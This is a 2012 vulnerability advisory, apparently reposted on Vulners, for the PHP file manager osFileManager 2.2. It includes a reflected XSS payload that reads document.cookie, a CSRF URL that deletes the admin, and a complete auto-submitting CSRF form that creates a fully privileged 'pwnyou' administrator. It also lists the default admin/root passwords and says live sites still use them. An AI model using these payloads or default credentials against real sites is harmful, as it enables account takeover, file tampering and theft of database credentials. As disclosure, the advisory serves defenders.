Vulners
Lucene search
osFileManager 2.2 CSRF / XSS / Disclosure
`==========================================================================
Vulnerable Software: osFileManager_2.2
==========================================================================
Official site:http://www.osfilemanager.com/
# md5sum *.zip
df708d52ab2a50aa20fa9c6d779bc979 *osFileManager_2.2.zip
==========================================================================
About Software:
==========================================================================
osFileManager is an open source file management script written in PHP.
Includes User CP, Admin CP, and many basic file creation/modifying tools.
File Functions include: List, Open, View, Edit, Create, Upload, Rename and Move.
User Functions include: Change password, and Change color scheme.
Admin Functions include: New user, Edit user, Delete user.
Looks Nice: http://www.osfilemanager.com/screenshots.html
==========================================================================
Vuln Desc:
osFileManager 2.2 suffers from multiple CROSS SITE SCRIPTING and CROSS SITE REQUEST forgery vulnerabilities.
I noticed many peoples uses osFileManager 2.2
So Just beaware:
XSS (Non persistent XSS)
/index.php?p=home&d=<script>alert(document.cookie);</script>
/* CSRF Delete admin */
/index.php?p=deleteuser&muid=1
Where 1 means user id
Due insufficent sanitization *users administration* section also prone to Persistent CROSS SITE SCRIPTING(XSS) vulnerabilities
Print Screen:
http://s017.radikal.ru/i407/1203/d2/1db7ba7bd6a2.png
(Username & Server Directory inputboxes)
And can be mixed with CSRF POC (in eg: to deface /index.php?p=users sections)
What is funny This FileManager Saves username and password "pair" in cookie which is totally wrong thing especially about *passwords*(sensitive data) (See print screen)
Once cookies stealed ... you know what's this means.
========================== CSRF ADD ADMIN ====================================================================
<body onload="javascript:document.forms[0].submit()">
<form name="user_edit" action="http://CHANGETO_RTARGET/index.php?p=saveuser" method="post">
<tr><td>Username: <td><input type="text" name="config_user" size="40" border="0" class="txtinput" value="pwnyou">
<tr><td>Name: <td><input type="text" name="config_name" size="40" border="0" class="txtinput" value="pwnyou">
<tr><td>Password: <td><input type="password" name="config_pass" size="40" border="0" class="txtinput" value="pwnyou">
<tr><td>Email: <td><input type="text" name="config_email" size="40" border="0" class="txtinput" value="[email protected]">
<tr><td>Server Directory: <td><input type="text" name="config_folder" size="40" border="0" class="txtinput" value=".">
<tr><td>Http Directory: <td><input type="text" name="config_http" size="40" border="0" class="txtinput" value=""> (*)
<input type="text" name="config_limit" size="15" width="15" border="0" class="txtinput" value="500000">
<select name="config_language">
<option value="chinese">Chinese</option>
<option value="english" selected>English</option></select>
<select name="config_theme">
<option value="classic" selected>Classic</option>
</select>
<input type=radio name="config_status" value="1" id="stat1" checked>
<input type=radio name="config_status" value="0" id="stat2">
<input type=radio name="config_formatperms" value="0" id="perm1" checked>
<input type=radio name="config_formatperms" value="1" id="perm2">
<input type="checkbox" name="config_permbrowse" id="config_permbrowse" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permupload" id="config_permupload" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permcreate" id="config_permcreate" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permpass" id="config_permpass" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permdelete" id="config_permdelete" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permmove" id="config_permmove" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permedit" id="config_permedit" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permrename" id="config_permrename" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permget" id="config_permget" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permchmod" id="config_permchmod" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permsub" id="config_permsub" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permuser" id="config_permuser" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permadmin" id="config_permadmin" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permdeleteuser" id="config_permdeleteuser" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permedituser" id="config_permedituser" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permmakeuser" id="config_permmakeuser" size="40" border="0" class="text" checked>
<input type="checkbox" name="config_permprefs" id="config_permprefs" size="40" border="0" class="text" checked>
<input type=hidden name=muid value="">
</form>
<!--
username:pwnyou
passwd:pwnyou
-->
========================== EOF CSRF ADD ADMIN =================================================================
What is another issuse do you know?
It's users.sql comes defaultly with 2 users:
--
-- Dumping data for table `osfm_users`
--
INSERT INTO `osfm_users` VALUES(1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', '[email protected]', 'Admin', './', '', '20081005234859', '999999999999999999999', 'classic', 'english', 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0);
INSERT INTO `osfm_users` VALUES(2, 'root', '5f4dcc3b5aa765d61d8327deb882cf99', '[email protected]', 'root', '.', '', '20081005222012', '500000', 'classic', 'english', 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0);
login: root
pass: password
And the second one:
username: admin
password: password
During 4-5 minutes googling about it(xxxxx) i found 8 sites which uses same usernames and passwords!!!(Which allows file uploads,file editings,steal database credentials
cos it stores database credentials in index.php ---- In one word: "Paradise")
Theris also a lot of *unitialized* variables which causes E_NOTICE and E_WARNING's which can be classified as Info and Path Disclosure.
I hope developer(s)(http://www.osfilemanager.com/ && http://www.arzy.net/) will fix this all this issuses ASAP.Amin!
======================================= EOF ====================================================================
/AkaStep
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Mar 2012 00:00Current
0.1Low risk
Vulners AI Score0.1